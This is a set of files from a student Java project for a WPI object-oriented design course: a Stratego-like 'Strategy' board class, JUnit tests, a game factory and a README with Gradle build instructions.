* This file is part of cs4233-strategy.
*
* cs4233-strategy is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* cs4233-strategy is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with cs4233-strategy. If not, see <https://www.gnu.org/licenses/>.
* ======
*
* This file was developed as part of CS 4233: Object Oriented Analysis &
* Design, at Worcester Polytechnic Institute.
*/
package strategy.crmyers.beta;
import strategy.Piece;
import strategy.StrategyException;
import strategy.crmyers.beta.pieces.*;
public class BetaBoard implements strategy.Board {
// Constants
static final int ROWS = 6;
static final int COLS = 6;
private final PieceDefined[][] pieces;
private final SquareType[][] squares;
/**
* Initialize the board; in beta strategy, there are no choke points and the board does not have pieces by default.
*/
public BetaBoard() {
pieces = new PieceDefined[ROWS][COLS];
squares = new SquareType[ROWS][COLS];
for (int i = 0; i < ROWS; i++) {
for (int j = 0; j < COLS; j++) {
squares[i][j] = SquareType.NORMAL;
}
}
}
/**
* Copy constructor; accepts a board, copies it to this implementation.
*
* @param board BetaBoard to copy
*/
public BetaBoard(strategy.Board board) {
pieces = new PieceDefined[ROWS][COLS];
squares = new SquareType[ROWS][COLS];
for (int i = 0; i < ROWS; i++) {
for (int j = 0; j < COLS; j++) {
squares[i][j] = board.getSquareTypeAt(i, j);
final Piece piece = board.getPieceAt(i, j);
if (piece == null)
continue;
final Piece.PieceColor color = piece.getPieceColor();
PieceDefined newPiece;
switch (piece.getPieceType()) {
case BOMB:
newPiece = new Bomb(color);
break;
case CAPTAIN:
newPiece = new Captain(color);
break;
case COLONEL:
newPiece = new Colonel(color);
break;
case FLAG:
newPiece = new Flag(color);
break;
case GENERAL:
newPiece = new General(color);
break;
case LIEUTENANT:
newPiece = new Lieutenant(color);
break;
case MAJOR:
newPiece = new Major(color);
break;
case MARSHAL:
newPiece = new Marshal(color);
break;
case MINER:
newPiece = new Miner(color);
break;
case SCOUT:
newPiece = new Scout(color);
break;
case SERGEANT:
newPiece = new Sergeant(color);
break;
default: // Spy
newPiece = new Spy(color);
break;
}
pieces[i][j] = newPiece;
}
}
}
/**
* Simple helper to check bounds, since this is used a lot
*
* @param row Row
* @param col Column
* @throws StrategyException Thrown if bounds are exceeded
*/
private void checkBounds(int row, int col) throws StrategyException {
if (row < 0 || row > ROWS || col < 0 || col > COLS)
throw new StrategyException("Row/column index out of bounds");
}
/**
* Get the piece at a given location.
*
* @param row Row
* @param column Column
* @return Piece at location; null if nothing there.
* @throws StrategyException Thrown if row/column invalid
*/
public PieceDefined getPieceAt(int row, int column) throws StrategyException {
checkBounds(row, column);
return pieces[row][column];
}
/**
* Get the square type at a given location
*
* @param row Row
* @param column Column
* @return Square type at location
* @throws StrategyException Thrown if row/column invalid
*/
public SquareType getSquareTypeAt(int row, int column) throws StrategyException {
checkBounds(row, column);
return squares[row][column];
}
/**
* Put a piece at a given square
*
* @param piece Piece to place
* @param row Row
* @param column Column
* @throws StrategyException Thrown if row/column invalid, piece is null, or square already occupied.
*/
public void put(PieceDefined piece, int row, int column) throws StrategyException {
checkBounds(row, column);
// No choke points in beta strategy
// if (squares[row][column] != SquareType.NORMAL)
// throw new StrategyException("Place to put at is not a normal square");
pieces[row][column] = piece;
}
/**
* Compare boards, determine if they're equal. Autogenerated.
*
* @param o Object to compare to.
* @return Equals
*/
@Override
public boolean equals(Object o) {
if (this == o)
return true;
if (o == null || getClass() != o.getClass())
return false;
BetaBoard board = (BetaBoard) o;
for (int i = 0; i < ROWS; i++) {
for (int j = 0; j < COLS; j++) {
// Make sure that either both are null or both are non-null
if (board.pieces[i][j] == null && pieces[i][j] != null ||
board.pieces[i][j] != null && pieces[i][j] == null)
return false;
// If individual pieces && squares don't equal each other, fail
if (board.pieces[i][j] != null && !board.pieces[i][j].equals(pieces[i][j]))
return false;
// No choke points in beta strategy
// if (board.squares[i][j] != squares[i][j])
// return false;
}
}
return true;
}
public String toString() {
StringBuilder ret = new StringBuilder();
for (int i = ROWS - 1; i >= 0; i--) {
for (int j = 0; j < COLS; j++) {
final Piece p = getPieceAt(i, j);
ret.append(" ");
if (p == null)
ret.append(" ");
else
ret.append(p.toString());
}
ret.append('\n');
}
return ret.toString();
}
}
<file_sep>// THIS FILE IS NOT MINE (crmyers) !
// It has been imported into this project to assist with development.
// The only change is to the package name and some of the imports.
package strategy.gpollice.beta;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import strategy.NotImplementedException;
import strategy.Piece;
import strategy.StrategyGame;
import strategy.gpollice.testutil.TestBoard;
import strategy.required.StrategyGameFactory;
import java.util.List;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertThrows;
import static strategy.Piece.PieceColor.BLUE;
import static strategy.Piece.PieceColor.RED;
import static strategy.Piece.PieceType.*;
import static strategy.StrategyGame.MoveResult.OK;
import static strategy.StrategyGame.MoveResult.RED_WINS;
import static strategy.StrategyGame.Version.BETA;
import static strategy.StrategyGame.Version.ZETA;
/**
* Master tests for Beta Strategy
* @version Mar 29, 2019
*/
@SuppressWarnings("ALL")
class BetaStrategyMasterTests
{
private int rows = 0;
private int columns = 0;
private StrategyGame theGame = null;
private List<Piece> redLineup = null;
private List<Piece> blueLineup = null;
private TestBoard theBoard = null;
@BeforeEach
void betaSetup() throws Exception
{
theBoard = new TestBoard(6, 6);
redLineup = theBoard.makeLineup(RED,
SERGEANT, SERGEANT, COLONEL, CAPTAIN, LIEUTENANT, LIEUTENANT,
FLAG, MARSHAL, COLONEL, CAPTAIN, LIEUTENANT, SERGEANT);
blueLineup = theBoard.makeLineup(BLUE,
MARSHAL, COLONEL, CAPTAIN, SERGEANT, FLAG, LIEUTENANT,
LIEUTENANT, LIEUTENANT, SERGEANT, SERGEANT, COLONEL, CAPTAIN);
theBoard.initialize(6, 6, redLineup, blueLineup);
theGame = StrategyGameFactory.makeGame(BETA, theBoard);
}
@Test
void redWinsAfterEightTurns()
{
theGame.move(1, 1, 2, 1); // Move 1
theGame.move(4, 2, 3, 2);
theGame.move(2, 1, 1, 1); // Move 2
theGame.move(3, 2, 4, 2);
theGame.move(1, 1, 2, 1); // Move 3
theGame.move(4, 2, 3, 2);
theGame.move(2, 1, 1, 1); // Move 4
theGame.move(3, 2, 4, 2);
theGame.move(1, 1, 2, 1); // Move 5
theGame.move(4, 2, 3, 2);
theGame.move(2, 1, 1, 1); // Move 6
theGame.move(3, 2, 4, 2);
theGame.move(1, 1, 2, 1); // Move 7
theGame.move(4, 2, 3, 2);
assertEquals(OK, theGame.move(2, 1, 1, 1)); // Move 8
assertEquals(RED_WINS, theGame.move(3, 2, 4, 2));
}
@Test
void versionNotImplemented()
{
assertThrows(NotImplementedException.class, () -> StrategyGameFactory.makeGame(ZETA, null));
}
}
<file_sep>/*
* Copyright (c) 2019 <NAME>
*
* This file is part of cs4233-strategy.
*
* cs4233-strategy is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* cs4233-strategy is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with cs4233-strategy. If not, see <https://www.gnu.org/licenses/>.
* ======
*
* This file was developed as part of CS 4233: Object Oriented Analysis &
* Design, at Worcester Polytechnic Institute.
*/
package strategy.required;
import strategy.Board;
import strategy.NotImplementedException;
import strategy.StrategyGame;
import strategy.StrategyGame.Version;
import strategy.crmyers.alpha.AlphaGame;
import strategy.crmyers.beta.BetaGame;
/**
* Factory for creating Strategy games.
*
* @version Mar 18, 2019
*/
public class StrategyGameFactory {
public static StrategyGame makeGame(Version version, Board board) {
switch (version) {
case ALPHA: // No need for the board
return new AlphaGame();
case BETA:
return new BetaGame(board);
default:
throw new NotImplementedException(
"StrategyGameFactory.makeGame for version " + version);
}
}
}
<file_sep># Strategy
This implementation of Strategy is headless, you'll have to
rely on unit tests. It does output a copy of the board after
every move for debugging purposes, though.
## Build
**Please use the Gradle import wizard for Eclipse!** You don't need
to install anything, just feed the project to the Gradle import
wizard and it'll treat it just like any other project.
To build and run, use the included Gradle wrapper. The "test"
task will run all tests. Eclipse will also be able to do this
directly. When you run, please make sure to hit "Coverage as" >
"JUnit test" on the **ENTIRE TEST FOLDER**, otherwise JUnit
will falsely report low coverage.
## Package Structure
This project complies with the package structure required,
although folders are a little different:
* Source files are under `src/main/java`
* Test files are under `src/test/java`
This is an extremely common Java project layout, it will be
automatically recognized by Eclipse when imported using the
Gradle import wizard; I was unable to convince Eclipse to accept
any other format, unfortunately (it always thinks that
things under test should be under `src.strategy` instead of
just `strategy`).
|
bcca3b871b33ac3fb92a458e04d7e844a646b8c3
|
[
"Markdown",
"Java",
"Gradle"
] | 9 |
Java
|
C7C8/cs4233-Strategy
|
8a852a7f7591d3e86edf357876b40df132edb950
|
e4e3453be9001582cc04a8075a9d2ca49af1e040
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.